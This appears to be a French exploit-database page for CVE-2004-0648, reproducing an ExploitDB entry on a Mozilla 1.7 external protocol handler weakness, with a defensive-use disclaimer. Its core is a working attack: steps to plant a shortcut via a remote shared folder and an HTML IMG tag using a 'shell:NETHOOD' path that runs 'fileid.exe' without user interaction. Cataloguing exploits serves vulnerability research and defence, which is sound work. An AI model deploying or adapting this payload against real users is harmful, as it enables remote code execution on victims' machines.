Exploit matérialisé

CVE-2004-0648

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

ExploitDB remote windows Vérifié

Source

Mozilla 1.7 - External Protocol Handler

Par Keith McCanless

Comment tester cet exploit

Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.

Code txt

source: https://www.securityfocus.com/bid/10681/info

Mozilla Internet Browser is reported prone to a weakness that may permit an external protocol to be called without any user interaction. This may expose Mozilla users to vulnerabilities that exist in the underlying operating system or in the software that is the default handler for a registered protocol.

Vulnerabilities in the applications that are invoked by a protocol, and vulnerabilities in the way a called protocol is handled by the host operating system may be exploited using this weakness in the Mozilla browser.

1. VICTIM VISITS A SHARED FOLDER NAMED "shared" ON A SERVER NAMED "X-6487ohu4s6x0p".
THIS WILL CREATE A SHORTCUT NAMED "shared on X-6487ohu4s6x0p" IN THE FOLDER AT "shell:NETHOOD"
2. VICTIM OPENS THIS HTML FILE WHICH EXECUTES A FILE NAMED "fileid.exe" IN THE
"shared" FOLDER:
<IMG SRC="shell:NETHOOD\shared on X-6487ohu4s6x0p\fileid.exe">